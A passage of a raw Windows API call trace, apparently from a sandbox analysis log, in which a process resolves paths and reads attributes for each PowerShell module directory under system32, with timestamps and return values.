lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", lpFilePart=0x0) returned 0x4f [0145.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.300] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\directaccessclientcomponents"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc08f2e6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0145.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.300] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0145.300] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x38, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", lpFilePart=0x0) returned 0x37 [0145.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.300] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dism"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0145.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.300] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0145.300] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", lpFilePart=0x0) returned 0x3c [0145.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.301] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dnsclient"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc090fdc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.303] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0145.303] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", lpFilePart=0x0) returned 0x49 [0145.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.303] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f1ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.303] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0145.303] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", lpFilePart=0x0) returned 0x40 [0145.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.303] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.304] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0145.304] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x39, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", lpFilePart=0x0) returned 0x38 [0145.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.304] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\iscsi"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130082, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.305] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0145.305] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0145.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.305] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130565, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.306] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0145.306] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x37, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", lpFilePart=0x0) returned 0x36 [0145.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.306] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.306] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0145.306] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0145.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.307] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.307] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0145.307] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0145.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.307] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132049, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.308] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0145.308] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0145.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.308] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132470, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.308] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0145.308] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", nBufferLength=0x56, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", lpFilePart=0x0) returned 0x55 [0145.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.309] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc13289f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1826502a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.309] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0145.309] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0145.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.309] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.310] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0145.310] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0145.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.310] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.310] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0145.311] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0145.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.311] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212127, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.311] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0145.311] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0145.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.311] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.312] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0145.312] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0145.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.312] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212c4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.312] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0145.312] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", nBufferLength=0x3b, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", lpFilePart=0x0) returned 0x3a [0145.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.312] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\mmagent"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc213093, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.313] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0145.313] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x39, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", lpFilePart=0x0) returned 0x38 [0145.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.313] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.314] 